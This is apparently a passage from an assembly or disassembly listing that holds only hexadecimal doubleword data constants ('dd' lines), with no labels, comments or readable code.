		dd 3D652AB9h, 683068B7h, 92DEAAB4h, 0AD407B98h,	0FD32310Dh
		dd 0AED8F505h, 0ED2ADB3Ch, 41380DA6h, 0A687A4A8h, 0B04A4CEDh
		dd 0FEFCEEC9h, 0B3C36489h, 246E55C0h, 81C86644h, 0FF295AC9h
		dd 0AD8CAEFBh, 0AAC50A05h, 2AB0734h, 63DFC5Ah, 76361070h
		dd 963E138Ah, 623307B0h, 3382C2DDh, 0F3DA2074h,	0DCDF1751h
		dd 66B320F7h, 974EC166h, 52173A49h, 2AA90C94h, 0BA0533AAh
		dd 0C3622AD2h, 0B0E9A2D3h, 0CA1B99BCh, 7C31BB8h, 3EC9ECAEh
		dd 0FF4ADA3Bh, 0BA478526h, 7DA4293Eh, 8E927798h, 0F0F1B3B9h
		dd 915E80Bh, 4DF59D59h,	559B51CAh, 0BF688954h, 0C3959312h
		dd 927E1466h, 5B5D52B2h, 9CAA0E37h, 9915AF66h, 4F1644EBh
		dd 0EB16FB72h, 0BFC5D1Bh, 19B762C5h, 3A2F303Fh,	0C7617729h
		dd 5D54F9D9h, 0DB7FAAAEh, 633E80E7h, 73487C93h,	0AD80FD26h
		dd 0F1539DA3h, 0FE30D83Dh, 8A7DBD32h, 7C134A33h, 0EEB3ADD4h
		dd 74291CE9h, 0A9E3B11Ah, 953B2A32h, 491AC43Fh,	65073492h
		dd 4952C0EDh, 30EB16B1h, 59A39564h, 0E3E13AC0h,	0DF882EAAh
		dd 7FE7DE0h, 526C7338h,	53059F4Ah, 963D2BDFh, 22735532h
		dd 8C02F0FFh, 2762BB76h, 0CA52B851h, 0F391AEAAh, 77F03B98h
		dd 0F8970422h, 34DC9424h, 0C9ECC4AFh, 6A7B0F9Bh, 1ABAFD33h
		dd 73C1AB12h, 3BAA9A11h, 7D98CF57h, 0DDE42B66h,	0F74746ACh
		dd 0C77D160Ah, 0CF928C64h, 6E108F06h, 56D54897h, 7F33A856h
		dd 2D3D20FBh, 81FD199Eh, 0A0A3F730h, 0A6730819h, 0C2F5E920h
		dd 0CB4250F0h, 0B90C714Fh, 0E098045Ah, 0B3C9BE97h, 2C7BC8FDh
		dd 6C3D71F3h, 0BFBE9EFBh, 0CB8D5A12h, 0F7FE2C0Fh, 0C789A482h
		dd 1CF4FC27h, 0D73ABFDDh, 6C1ACF86h, 5CDE1BF9h,	569EFE68h
		dd 1EC61976h, 2B294F91h, 7EF8ACBFh, 0EA7FD1DBh,	25762EE1h
		dd 40FDBC70h, 13B73191h, 524BBBCAh, 836EAA32h, 514BC478h
		dd 16D1F479h, 0B162481Fh, 92F921F6h, 4EFED348h,	0AE5B46A0h
		dd 0DA971E34h, 0B21B8E3Dh, 93FA80AEh, 71D8977h,	284F3B98h
		dd 88DB2F45h, 6A4EBA1Fh, 36B2411Ah, 781C6FBFh, 3A56834Bh
		dd 6B781F1Ch, 85A2A0A9h, 0F72A8375h, 3BC8BAF1h,	0BEF8D8FBh
		dd 0F1BA3583h, 26EC08C3h, 0A126D7A5h, 0BA13CC9Eh, 81982F06h
		dd 0DF48F6B8h, 98DE571h, 0F5F54E1Dh, 25F800Bh, 465BCC0Fh
		dd 0C6300EA8h, 0D3146E69h, 0C0F1928h, 0ADE76695h, 0AEF0970Dh
		dd 0B2C0D7AAh, 1F9D1F15h, 8465FEF8h, 0D3B10AC5h, 650E5CFDh
		dd 55503325h, 5D55F2D3h, 918BDC8Bh, 0B24A54A4h,	87E05B6Fh
		dd 41CBDF19h, 5765E353h, 0D0C0EADCh, 0FB13410Bh, 89E35BF0h
		dd 55D108CFh, 0DB7599E2h, 39BC333Fh, 32E8A41Ah,	254D08AAh
		dd 0D5DD891Ch, 736CD12Bh, 0DA32C533h, 5D5386D5h, 60EE3D9Fh
		dd 0D28DB2ACh, 39CD3B1Dh, 23127D43h, 0BA4A0F8h,	6C44637h
		dd 61B6718Ah, 0E5A2D84Eh, 0D8D10B71h, 0DDD9738Bh, 3C9A1291h
		dd 0DB46CD3Fh, 0B8A37679h, 59BA23FFh, 926CE2B7h, 0B713ED01h
		dd 0E0685FA0h, 0AC0151B6h, 479CE83Fh, 0AD47C22Ch, 34052863h
		dd 0B71D39Eh, 0DFE77AA5h, 4C097B50h, 2FD104BCh,	0C38A24D9h
		dd 2FA3DC1Ah, 53D670B3h, 0E482F13Fh, 328EF2A4h,	0EE569EFAh
		dd 48F19A6Dh, 733D8A6Dh, 485AD72Fh, 0F299EC92h,	17630837h
		dd 7E1E7F8Ch, 7C4057A8h, 1ED430A0h, 0E162FDD8h,	0D7B5B211h
		dd 0ADDE292Ah, 0EADDB495h, 0F8AB35E8h, 4721FEE1h, 0F8C63450h
		dd 0E5D77D60h, 0F6CAC366h, 67096500h, 4CF0E858h, 7FC21CF5h
		dd 2FD93DB9h, 396E8DB1h, 74ACA549h, 51389895h, 7CD6FDF8h
		dd 9B03F679h, 0C5A58DAEh, 0E199F1AEh, 1B02C1C9h, 2663ECA1h
		dd 2FF9FC1Bh, 3A18A569h, 0F0E88C76h, 6148F075h,	0E8551F2Eh
		dd 0E82C1A7Dh, 0F5A36C53h, 0FF5BA7BCh, 0C263B77Ah, 0AB17DD3Ah
		dd 6E419FA8h, 6A4E072Dh, 92328DC1h, 9EE6E184h, 5ED1EFEDh
		dd 0C1E89399h, 0E03D3AC0h, 0CE8E0FDh, 4552B52Ch, 18FF71D7h
		dd 557E93F7h, 0EDA33A5Fh, 0AA5E320Ch, 30D52D94h, 490E1995h
		dd 7FEF1BAFh, 0AB967D9Ah, 0B1F79DAh, 1273748h, 0C8FCFF5h
		dd 0C79C4DB8h, 0BFDFBAF8h, 0C7350CD4h, 0D3146A2Fh, 13104AB4h
		dd 0B68D3A2Ah, 0BF1B4667h, 772FF0F6h, 1B1CA9B8h, 0F703E69Ah
		dd 0E9BF7C97h, 220AC9DEh, 0DF977476h, 6CC115EBh, 9317110Ch
		dd 0C315F671h, 0AF30C1F3h, 0F440269Bh, 9A526548h, 0A2B8E37Fh
		dd 1856EA05h, 5DA92FDCh, 0E67907ADh, 6C53F5E1h,	0E5E6D096h
		dd 56098EDFh, 23C5C1CFh, 0E2136531h, 0AE265157h, 0C56863CDh
		dd 39637B66h, 0B7690455h, 0B2A21E56h, 323F209Ah, 0CFCD572Fh
		dd 577882B2h, 0D34C2090h, 0A68DF34Ch, 7DF8E6D7h, 0F7D7DFA1h
		dd 1135F0B2h, 9F4D001Bh, 0C2FF6A3Ch, 0FA8DB4B7h, 94F57975h
		dd 3EE94A62h, 7D295E02h, 9796C168h, 6A2AF81Eh, 83E0ED56h
		dd 0C909D8D4h, 78F3A4F5h, 3D58BDB8h, 6E0B11A7h,	6C7BC227h
		dd 71FF7793h, 0E8E90518h, 45A517D8h, 0E8658581h, 947B17D8h
		dd 6EB6DECEh, 8ACFF5ADh, 0DB95EBD6h, 0E07877F0h, 8746CBBDh
		dd 420DD33Fh, 8A0DF8FBh, 9AFBA54h, 8128567Bh, 47F868B0h
		dd 0BD4B5A36h, 2605AEC8h, 101E075Fh, 0D32FC61h,	988F1D6Ch
		dd 27A4B503h, 0FE1422ACh, 0E5FD6E46h, 0EB32CD6Dh, 9CEA31EAh
		dd 4A7B284Bh, 0B3289FCDh, 7FE5F6AFh, 4A5F7E33h,	292551B8h
		dd 812C7C41h, 0D43A1119h, 0BE3D981Fh, 0F5C01361h, 1C5D4E15h
		dd 38B3AC6h, 3FC3E8A0h,	5E023A58h, 2A5999A1h, 8B3355DEh
		dd 6D108866h, 2C27A271h, 0E4B8FC5Bh, 99E18E85h,	0E5792312h
		dd 0C148A1E4h, 607A00F9h, 7D037BE8h, 0BF17385Fh, 9643B60Bh
		dd 8FCCBC50h, 5AD3AF68h, 0C7A87993h, 7C8FE64h, 0B67FA596h
		dd 0AFD11BCCh, 54CAC4FCh, 0FBA443EEh, 0B95E602Ch, 0BF614599h
		dd 0B3B6C3ECh, 39BAC42Fh, 113DE7E2h, 0A8E5981Eh, 0DFD1352Eh
		dd 91BF2150h, 7C097772h, 0D0A60C2Eh, 4DA25412h,	4658027Ah
		dd 7CFC7C89h, 6511DD6Ah, 0FBF0B2Eh, 3AEFB3DBh, 5756023Dh
		dd 858CBF77h, 0EECCF2CFh, 0CF21A0CFh, 0D58DF51Ah, 1BF1F44Fh
		dd 7DABD50Ch, 8E1C97B4h, 37F53EB2h, 0C7108516h,	0E3A5305Fh
		dd 5E4EB2C1h, 7E1EF978h, 0F4EE1091h, 0ACB176E1h, 3B4DC0C9h
		dd 0F17C5F76h, 0D6C7BB28h, 0E9017792h, 0F6BD9D8Fh, 0CFC98C8Fh
		dd 122DDE29h, 1E5F607Ch, 0A06E64FFh, 0FC97E179h, 8771E4EAh
		dd 0B31F553Bh, 0C8DE71B1h
		dd 0EC638675h, 0D12D2629h, 0F43B28F2h, 0D52E9117h, 74353AFh
		dd 2759AF1Bh, 4F8D08B6h, 81CE59ABh, 0CB40921Fh,	19987B3Fh
		dd 0EBD688AFh, 5A956B78h, 1F76A76h, 0F625A5C3h,	0CEC4A2D9h
		dd 0A71CF81Eh, 0FC44F6E0h, 497FD565h, 1628522Dh, 71E4672Eh
		dd 0F603C737h, 19739960h, 0E856E056h, 855EFDB2h, 977E1C31h
		dd 6EA73793h, 81A352D0h, 565D5EBh, 0F3D7798Ah, 17F70E3Ch
		dd 0DF387499h, 0DD17ECF7h, 5F2FA84h, 30DCC4CAh,	81573BDBh
		dd 552D0DD8h, 88A65F4Fh, 866B1CA5h, 783A5F0h, 755E46FBh
		dd 426EEC21h, 893C5ED5h, 60CB2F43h, 53E9947Fh, 966C4098h
		dd 3D6795Eh, 9B51863Bh,	0AD993187h, 3768318Bh, 4DBF47Fh
		dd 0BFBCDBE6h, 0CBF0FD96h, 9FEC7122h, 0C210A0CEh, 3E1F7C35h
		dd 0E4C7B8E0h, 0BD1EA85Bh, 25E796ADh, 44319499h, 13FA1FF4h
		dd 0D1411DBh, 90AA2788h, 0A8AB6AEEh, 10EFFF5Ah,	168D0E89h
		dd 0A627AD17h, 0A643EBF9h, 0A8DFF7BAh, 3DE76864h, 2DA8B43h
		dd 0C99C30C5h, 9C12C739h, 5CFEC625h, 954EF023h,	0DE22855Bh
		dd 5A6303C9h, 0E91BA790h, 0DC2B4ACDh, 8B5D81F2h, 4AD1A474h
		dd 0B76AC910h, 50208F91h, 15E6943Ah, 9E0B4717h,	0D1DCE1A2h
		dd 260E9542h, 270ABBF0h, 91D778C6h, 55384EECh, 0C2DE08F4h
		dd 9338A2D1h, 153786FEh, 3185C541h, 0FAE15C9Ah,	4F549C38h
		dd 1EFF8CA5h, 4C50CD93h, 4A696254h, 18C64FBAh, 74CA1456h
		dd 69DF690Bh, 2E2516F5h, 4EC3EE01h, 85125AE0h, 58D3A0ECh
		dd 8F56FD65h, 444A30D4h, 6C2D7D0Ch, 0F3FEB578h,	0B3C5B892h
		dd 48FBB8E7h, 9F66ACCEh, 5A53F68Eh, 13D9F9E4h, 912B259Ah
		dd 72DC5557h, 4E55E55Eh, 27E934FAh, 4B9014BFh, 30D8AE9Fh
		dd 9BA5E041h, 705506EFh, 0A7820865h, 751A9FA1h,	5C283B04h
		dd 696C8533h, 0A21E1F20h, 942254C5h, 2FADBD67h,	33B6AFB6h
		dd 7A475EACh, 0EDBD637Dh, 0E6F176C6h, 0D4D55B03h, 5786FCF0h
		dd 4D9E4E44h, 0E5B374CCh, 56B1F08Fh, 0AC07138Bh, 93CA0F49h
		dd 0ECE68307h, 6E677E60h, 0AE989F14h, 79CAAAA6h, 705CCDD4h
		dd 0DBD65005h, 374F47DCh, 814A0799h, 0E4E083C3h, 0EE9E3AAh
		dd 6E9A5A33h, 5752F224h, 54A2E287h, 6F5529ACh, 0C5715A83h
		dd 519AD399h, 0A9B6BA40h, 19FCEADAh, 0D9D93D89h, 2C5FEE04h
		dd 0C34FB56Bh, 0FF70C73Eh, 0BD65F8C5h, 575E4BC6h, 0FE6242AEh
		dd 6198A9A5h, 0D2755C74h, 0F48E1B7Fh, 0A69F5713h, 0CD72CBC8h
		dd 0DC1EEE2Fh, 81593D15h, 372F2E0Fh, 0B5C9B9AFh, 77ABBAC9h
		dd 5689D38Dh, 42BE80AEh, 234AE78Fh, 59E6AABAh, 27C82C62h
		dd 0F4DE64F3h, 61D5B479h, 0E57D4E9Dh, 8091082Bh, 0B4FFD9C7h
		dd 2E5F5B1Dh, 855D93FCh, 0D1419623h, 5ED4D96h, 0D3ED67EBh
		dd 1B62FEF7h, 36AA1F2Dh, 0F9F2E9C3h, 0FCE91AA5h, 76A54950h
		dd 0BD74D719h, 661B5095h, 4CD486EFh, 0DFF835C0h, 0C726FEA1h
		dd 0BA3A7E17h, 0B699692Dh, 6BF35C0Fh, 0FED639F1h, 8A6DA94Ah
		dd 53D68A1Dh, 0E6611755h, 28406F47h, 0C64A63F1h, 9C3F590Dh
		dd 5A358BF2h, 0EAE09D62h, 0BED8391Dh, 6CBFAE73h, 4B2AA87h
		dd 0E5D3BB7Dh, 4C38AA93h, 0C2AAD257h, 98137EDDh, 963BE7E0h
		dd 0D16D73B9h, 2AC5DCB1h, 3F2955D1h, 0C3EFBE07h, 0B5F347E0h
		dd 2AD078D3h, 29B52F10h, 11916A4Bh, 0CE5D46D1h,	1B8D7F24h
		dd 0B6D7918Fh, 0FC35D1EDh, 0E32AAE25h, 96240AD6h, 0E9FFA967h
		dd 0EBC46C1Dh, 0A686AF63h, 0B130AF61h, 0CBB9BC4Ah, 34146E71h
		dd 0AA4E504Dh, 0D1091B85h, 0C5C97FBh, 0F5355827h, 0E52B65BCh
		dd 65996AA6h, 96015F2Ch, 0F9A8F8EEh, 0D8EBC63Ch, 7F02E424h
		dd 0BF3F4784h, 679576A9h, 4CED7AB4h, 10AC5001h,	0A0A77F13h
		dd 42C62AA3h, 62FB2613h, 0B339BC96h, 0D4314214h, 84B223B5h
		dd 55C812B2h, 0DFAA9663h, 0CB5ACE35h, 8CD93B88h, 0AEF44BAEh
		dd 0E59C93B5h, 0BD4025BEh, 9C56C44Bh, 134D5F04h, 5737266Ah
		dd 0FE0AE8B7h, 0F3F873C2h, 813CE1Bh, 7D9C54D5h,	1AA0A44h
		dd 0FDB1142h, 0E647D6BCh, 0BE08AD06h, 0F0C7EA18h, 2C54F6FEh
		dd 2E3FFB5Dh, 0FF4FFE8h, 0B4332D7Ch, 4B60EE55h,	0DBBD5052h
		dd 5F3C74D2h, 82359601h, 92A6221Fh, 0C9B5055Fh,	0C883B456h
		dd 8E84F297h, 6A5D2621h, 0F0CF4795h, 0D3A54910h, 0ACD3730h
		dd 0DC22CD68h, 0EBAD6E0Bh, 0BF877639h, 0A9D0CA27h, 548905B7h
		dd 0C73AA69Fh, 85A6962Eh, 181F2F68h, 8B0D2C27h,	4ABEDE63h
		dd 8F83717Fh, 0ED62FA39h, 2B3FD770h, 7113DEBDh,	0F68CE4EFh
		dd 0B636F521h, 0C513C262h, 6F0B814Ah, 1FD9BF9Fh, 0F8459A3Dh
		dd 719C0FBAh, 0EC1B720Fh, 0CF87ECF6h, 6F0A752Ah, 4BEBE5Dh
		dd 1B52B9B2h, 0C75BF8EEh, 0C4B1731Ch, 0AED5BB18h, 5A268DFh
		dd 776EA23Bh, 0B278D0DCh, 5CA18611h, 2D11AF51h,	6F83938Fh
		dd 82CF6C0Eh, 0F1D8E187h, 2C16F3E6h, 3EF946D7h,	65FE823Bh
		dd 8F4FFED7h, 7251FC7Fh, 8A84DD52h, 0E47D9C8Ah,	29F4CABBh
		dd 0EBEF6F34h, 0E55DA276h, 388867EDh, 62EBC923h, 1975DDFEh
		dd 267037DDh, 84B56A31h, 607C9CBBh, 3C72079Dh, 17AAF183h
		dd 0DE31D88Dh, 0EBEB7FC3h, 5CB06797h, 555EFE24h, 75AEF2A1h
		dd 3CC0E52h, 0FD146B06h, 0F1B3D499h, 8311DEB7h,	8B8A323Fh
		dd 0A413E6DFh, 0CEDD794Dh, 846B3683h, 7722ED52h, 8F114653h
		dd 4A217C01h, 9A7FAA09h, 97E17F97h, 0FFF566B7h,	0DD786B37h
		dd 0D0D3E44Eh, 0B468D55Ch, 0DF3E5B23h, 62873A32h, 0AEB07AFh
		dd 0F8BB7D62h, 9E6F7357h, 8A8F4686h, 7499735Ch,	9536DCD8h
		dd 12ACF23Ch, 0EEFBB6ADh, 4ADFBA9Eh, 21E25809h,	78888166h
		dd 3C75F865h, 395755F8h, 4C6372C2h, 0F22E17AAh,	174B68C2h
		dd 0B3B37AA5h, 88B5E0ACh, 0D24180Dh, 0E7F77CDFh, 0DEE49CF2h
		dd 976FD0B9h, 1C8359F7h, 8D647D23h, 5A6598CEh, 0AFBF69F9h
		dd 0DA5D7EA1h, 9D6E17F3h, 0E6F02BAh, 0A0C8B44Ah, 50FEEC0Ah
		dd 91BD7D5Fh, 0F4C945EFh, 0AE98B2D0h, 0B34BC1D1h, 0B33A755Ah
		dd 0DD2D45E4h, 4698D9Fh, 18966CAh, 0A4371E5Dh, 5DC2F168h
		dd 5F717292h, 85CF8783h, 0FCCFC1D9h, 23AFABA7h,	0FA7EC55h
		dd 89E47ABCh, 14ACAAF6h, 15C03F49h, 724FF049h, 0D780FC68h
		dd 7815A445h, 0AB4354A6h, 14CB8126h, 0C838F97Dh, 1CEC45EEh
		dd 6B204735h, 7C5558C5h, 924570FCh, 0E88E7609h,	3F2E7E7Dh
		dd 8471625Dh, 8D9304B4h, 174F3ECEh, 4CF6739Ah, 48F6501h
		dd 1AE9F933h, 0F1A34234h, 0F6999DFBh, 1AF6D0B7h, 37662E43h
		dd 4109795Bh, 5B8A4E06h, 22554D02h, 97BC4A2Dh, 625D42E1h
		dd 6A82C485h, 5D1661EEh, 0EBDFBF96h, 3938E499h,	26B2A665h
		dd 58E9AA22h, 1D50C410h, 1D6903ECh, 2295522Ah, 0D43399Fh
		dd 8874BB98h, 875122F6h, 706993A3h, 0BFDB9D21h,	86E51544h
		dd 0ACC419A3h, 82FF8BF1h, 8323E33Bh, 6975E99Dh,	0ABCECB4Bh
		dd 374839C1h, 547E2412h, 152D1189h, 0FE644C7Bh,	2C0F7665h
		dd 0BCEEC2D1h, 68AACEF9h, 0ACBCDEDEh, 67C30B9Fh, 321CD7D4h
		dd 2ABD9AF2h, 94C1955Bh, 2C2DA3F4h, 0AA9616AAh,	0C06472FEh
		dd 8A62750Fh, 54DFAE2Eh, 0EFD538D5h, 370C9557h,	86FCB465h
		dd 11785A35h, 6AAFC722h, 0DB91721h, 9D5A3E56h, 326B2B43h
		dd 174924BFh, 0F91E444Ah, 0DEAC2EB9h, 0E6DFED27h, 0EC835CB5h
		dd 87BADA40h, 0C8B16DDDh, 66AE3679h, 0FCB83136h, 0E97AE247h
		dd 0B14DBF1Bh, 1C7391A9h, 0EA87FC5Fh, 24972489h, 1BAAE364h
		dd 0CBDE2D2Ch, 55943E2Dh
		dd 9EAACDFBh, 5C4D5A67h, 3074090h, 3258AA66h, 88CAC4E6h
		dd 0DADA6FB5h, 32BECFBDh, 0D24EB122h, 50783328h, 0FBEB63B2h
		dd 84CA7A05h, 0A9F68CA1h, 0AD1B78DDh, 0F635D6F3h, 40229A96h
		dd 0ADF1F75Dh, 76A1E46Eh, 0EE5F0AF7h, 80E168C8h, 0F2E83D06h
		dd 5C52FA6Ah, 0EDE123Fh, 3DA6DE48h, 0A88F837h, 684A5D49h
		dd 37692A41h, 0DEDF751h, 0E4BE49BEh, 71355D37h,	7B47A964h
		dd 21FEC270h, 0FE7ADB58h, 0C5162B68h, 351302Ch,	0B3AAFE87h
		dd 0FFEAC4CDh, 79797A6h, 0A67DDB29h, 0ED0F7280h, 0A12D0C59h
		dd 7A94FCB2h, 85112575h, 0EFFCFC7h, 0FC1FF5B7h,	43676E2Fh
		dd 0FC6433E1h, 0D4522170h, 896937B2h, 3AE86F5Ch, 3B187C07h
		dd 338D2F26h, 0BF82FFC4h, 8D921266h, 0DD6BBE4Dh, 0C62395D6h
		dd 7ED0CD00h, 707C2C56h, 84368804h, 0EE760FBDh,	0FAE7C24Ah
		dd 84FE3623h, 2BE2E62Eh, 649A054Fh, 22D89332h, 0B2D39B0Ah
		dd 0CA69447Eh, 8BBD0148h, 4AD49527h, 0AB73BD57h, 0A279F0CAh
		dd 0DF0E19B5h, 5A1D7DCBh, 561E7C66h, 60533AACh,	48D26960h
		dd 7CF8FEBAh, 4AA18F59h, 0B6394FA4h, 0A73B117Bh, 303EDA42h
		dd 0DF0A51B1h, 0BDB971EFh, 0B87917A6h, 0B43F4153h, 862DDFD3h
		dd 0F37472B4h, 6FDD1905h, 5AB80C78h, 0E02935C9h, 8F1BCCD8h
		dd 55A530E6h, 2F931F44h, 0DB89382Ah, 85A5E66Eh,	0BEDDA039h
		dd 0F02154C0h, 735D51E0h, 7C5F0BE3h, 8A06E135h,	0F188F55Dh
		dd 0B63F892Ah, 0F49E8D74h, 3DB6A4E9h, 0E3178C69h, 0B5C2A4CAh
		dd 8D2F1A85h, 46EB76F4h, 0C5593462h, 0F9A1C354h, 36015F8Fh
		dd 0FD424A47h, 3C5F9B30h, 0CBF159ADh, 0D322E562h, 0C9C13BCDh
		dd 312EFE0Fh, 37FBE447h, 0ADBEECC7h, 0A2B4C379h, 0ADC2E733h
		dd 5CE260D2h, 71EE8DF5h, 9A14B45Ch, 0B69D3F75h,	0BF29E15Ch
		dd 0BFD9895Bh, 26B4BD8Bh, 93FFD536h, 15C774AFh,	70EC6ABAh
		dd 1A2FC32Fh, 4AB3AD4Fh, 0DFD2F66Eh, 52B5AD7Eh,	0DBE33530h
		dd 0E377909Bh, 764AC0F2h, 15DF23B5h, 77D70C56h,	0CF7F22CAh
		dd 0EC5C39E2h, 0C182A6CFh, 0B83C1127h, 0E2F59A5Dh, 7C9CD836h
		dd 1D300DACh, 0ECAF6Ch,	0B52EA497h, 652D28E7h, 0E35F6E5Ch
		dd 1C592E8Ah, 73FD36EAh, 801BE59Ch, 5F61D035h, 7F2C2946h
		dd 0E2CE1399h, 0F92CB86h, 5925A93Bh, 804B9268h,	36143BEBh
		dd 6754575Fh, 190A9B28h, 86A3B83Ah, 1F38E235h, 5B3C585Eh
		dd 7558964Dh, 0EFAAAED0h, 57197594h, 1F1AE80Bh,	9452CE3Fh
		dd 0CFCB2649h, 661527B3h, 46F79F73h, 0DDAFD425h, 47681B15h
		dd 0EB97B1B6h, 0B4455CDCh, 0E2F061D6h, 0A5638C3Bh, 0FD657A2Bh
		dd 0E6460F94h, 2789DD33h, 6DE5BDC3h, 0D7FB5499h, 72CB9217h
		dd 69ACF1B4h, 582D5825h, 6CB80D65h, 8932AB8Dh, 53B481DEh
		dd 42A99451h, 37DF798Dh, 2713CB35h, 0D994070Fh,	8485C52Ah
		dd 6764CB65h, 28FC7AD0h, 0B6B4A95Ah, 3EA4AD5Fh,	0DCCD97EEh
		dd 57B43CDCh, 0F90B0B27h, 0AF6A5D73h, 1E52B2E1h, 1D5E3E7Ch
		dd 60ACB83Bh, 7DFBE0F2h, 79236860h, 41AD739Dh, 0D32DEF21h
		dd 0B9FD1C32h, 657C2FF7h, 0F742337Eh, 4C94460Fh, 0CECB58F8h
		dd 0D2D448FBh, 0CBAE3E29h, 0E67FF51Ah, 97E733A4h, 0BE9F719Bh
		dd 43524378h, 0B6148D7Eh, 0CD5B65CDh, 5FEFB95Ah, 7808720Eh
		dd 0BDB63DC6h, 0B47DB5F4h, 0BBFBA39Ch, 467EBCB1h, 0FBFFF6BCh
		dd 1B477807h, 6AAE345Eh, 437176E4h, 704AE16Ah, 9D995C3Fh
		dd 4CAD7538h, 0FB1DB335h, 0A2897280h, 2FD6954h,	62F4958Eh
		dd 38FE7705h, 0C6E319F8h, 0DDCE57C4h, 1DA7ADA9h, 0CD62BC3Fh
		dd 707D89BAh, 839E34CEh, 0EA475428h, 6729BB68h,	15FF79D1h
		dd 0AA3A4B9Ah, 0E0C854ACh, 5741F53Bh, 19F69948h, 9CEA4D24h
		dd 1C28660Eh, 0E6368234h, 0BE5A7B34h, 0E9A3C59Bh, 0A02A2BAAh
		dd 6A05A767h, 799B1B78h, 9F0BF173h, 0E0CAFD15h,	0F0DF0EEEh
		dd 42E709B1h, 44723A2Fh, 0D13B7ABBh, 0D35A10B9h, 0D7C24412h
		dd 0D7CF8D56h, 2AC22029h, 0B5F0EC6Bh, 0B577824Bh, 1BAFBE30h
		dd 58FB703Dh, 0F3722747h, 0E74FF570h, 275BBC3Fh, 1756B2EDh
		dd 0B080F8EBh, 6C775B1Dh, 0C8A4AB03h, 5F75A4AEh, 0AD230CB9h
		dd 0B22746D1h, 4D7804A4h, 34CD19DEh, 6A985F9h, 6525452Fh
		dd 4CAA62DEh, 0EBE101C4h, 6C62751Dh, 7B281C7Fh,	6F84CF9Ah
		dd 0E5525C37h, 0ADBB8C12h, 0E4C94BFFh, 7D6AB4Ah, 55687D5Dh
		dd 6C75C2D6h, 98AE55C8h, 642B49D8h, 1372A2E4h, 3E6DCBC5h
		dd 8D84A5AAh, 856AF439h, 9D096C1Bh, 6DD785A2h, 0E9DBEE3Bh
		dd 0E5A25B82h, 0E95416A8h, 93335FD1h, 444B1789h, 969B3C8Bh
		dd 1F89FC26h, 0C37EB566h, 71FCC2F5h, 42278929h,	9F636D13h
		dd 0E893ACADh, 751CE463h, 0D5C87D49h, 91528D5Bh, 52E762E4h
		dd 9C8DE6F9h, 0B29177D1h, 2B8A118Ch, 6E7624EFh,	0AE23D35Dh
		dd 861389DEh, 5C87747Eh, 6F5107DDh, 0C2ADE904h,	50318867h
		dd 70BCF673h, 35BCA084h, 6F81BF64h, 6AA21F4Eh, 3FDB3CC8h
		dd 13E4D974h, 0BD68BAEBh, 3D0ADD3h, 0EB4BA42Bh,	24BD89CEh
		dd 73658B2Dh, 0F88332Eh, 0E7BE6DC6h, 8FA8ED87h,	53B4A6A4h
		dd 0D208F569h, 0F16E6929h, 628C93D1h, 77B9A2E4h, 2623BD0Fh
		dd 6816DA51h, 7AEB3765h, 0CF77EEC9h, 3AB02874h,	7F0068FBh
		dd 0A92CBE9Ah, 0BC3CD416h, 0EB6ED231h, 0CBE9E9BBh, 0EFD7DC41h
		dd 124CD73Bh, 0E16BB907h, 4E89DD9Fh, 84FA059Bh,	0F31955B4h
		dd 96B6232Ah, 9375CD33h, 0BDA2D522h, 7F812419h,	0D640D129h
		dd 5CB5A43Ch, 6D55477Dh, 0C346B38Dh, 0E95E363Bh, 34BFC0FBh
		dd 5AD7DA6Fh, 671B1EE3h, 7CCE4E94h, 0A9600757h,	2F3A0C43h
		dd 0E9727A8h, 7787229h,	0B3A81647h, 0A3139E2Bh,	0E1BD7556h
		dd 85C4DDC2h, 0BBA6C2F7h, 746A21B3h, 628A388Ch,	0AC331DA8h
		dd 4B278642h, 992FC634h, 0E40C7CAEh, 0FB30C5D1h, 8FD6A664h
		dd 0D35C62FCh, 4768A793h, 10AE87E3h, 9BDB562Ch,	2F5C44F5h
		dd 0E7C4C2D0h, 27863795h, 0C53F09E9h, 2FA51F82h, 3C91E4BAh
		dd 0E6D1B334h, 9335F5AAh, 0C04BFD85h, 0B17E44FEh, 8835F8A0h
		dd 96ABD651h, 756B3FEEh, 3FE8476Ch, 63644696h, 0DC04E760h
		dd 9AE0AE7Ch, 0A29BD8C7h, 0D5B5CD50h, 0EDBB58B0h, 5F2DD423h
		dd 847FB3A1h, 56D6FF4h,	5C15BE7Ch, 6E7EB0FBh, 0C636D9A2h
		dd 5DD58CCCh, 29D8E92Dh, 106053F5h, 3519CCEFh, 1BAA0A45h
		dd 0DB3C2B44h, 0E3BBE16Ch, 17560F8Fh, 0F40AA72Bh, 0EC7171D4h
		dd 9D8908DFh, 0B850ECD0h, 77810817h, 0A21127CEh, 5D29E7CCh
		dd 6662AD3Ah, 0CAC88343h, 7EEBABD5h, 752FFB18h,	0ACEA5A5h
		dd 6335EFBCh, 0C97FF8D8h, 5B974CFAh, 0A5143246h, 1487656Ch
		dd 4D5F92D6h, 0CE8BDBB8h, 4E80B599h, 38D1AEDBh,	7CBF0C70h
		dd 0DDCBA9C4h, 705B839Fh, 99D0FA30h, 0AA4EF547h, 90985F25h
		dd 0BF92BC94h, 26901231h, 21C6A9ABh, 6D9C1689h,	0CA90FB23h
		dd 9F8BD6A8h, 0A22F0556h, 0D37253A1h, 10E854D6h, 8AA7C5D9h
		dd 0F03FB394h, 1EE1F454h, 0B4A45E4Dh, 1CF23851h, 597FED03h
		dd 155D3EBEh, 87C33FF7h, 7EF6E801h, 0B583C24Fh,	3487068Eh
		dd 0EEE3C4AFh, 3AB5618Eh, 738721F8h, 503879ABh,	616BA792h
		dd 0BB620961h, 22B44971h, 0DCE9A963h, 6F4DCE61h, 1EFDCF7Ch
		dd 0CB44304h, 0F31B05C2h, 0D113D894h, 446D86C4h, 79AB9DA3h
		dd 553FE949h, 2A706FE1h, 6EF2230Bh, 73DCAB31h, 0E6D54E7Eh
		dd 1E7D1F52h, 25853C62h, 0D5F22CBBh, 0ACEC62A4h, 0C1C3831Eh
		dd 0E24E74A7h, 115AE2C7h
		dd 15F3FA0h, 99F92C1Dh,	8EE694FFh, 24B32214h, 0F7054563h
		dd 634E66A2h, 4206B543h, 47FBFDBAh, 682D33B3h, 255E9D55h
		dd 47A0B713h, 59724F0Eh, 0D551A547h, 0D7D235C3h, 0E69E6406h
		dd 0E440C86Ah, 5511F87h, 768BDC22h, 78EA46AAh, 62BE96D7h
		dd 3D9D1B85h, 39A5BDBAh, 381A55F1h, 0B231320Ch,	0F49762F8h
		dd 9CE347F7h, 0C2ACF1B6h, 5F2BC824h, 93ABE3E2h,	62C8BAD5h
		dd 1057AB31h, 0A0829C60h, 0BCB191D1h, 481F1B27h, 689DA896h
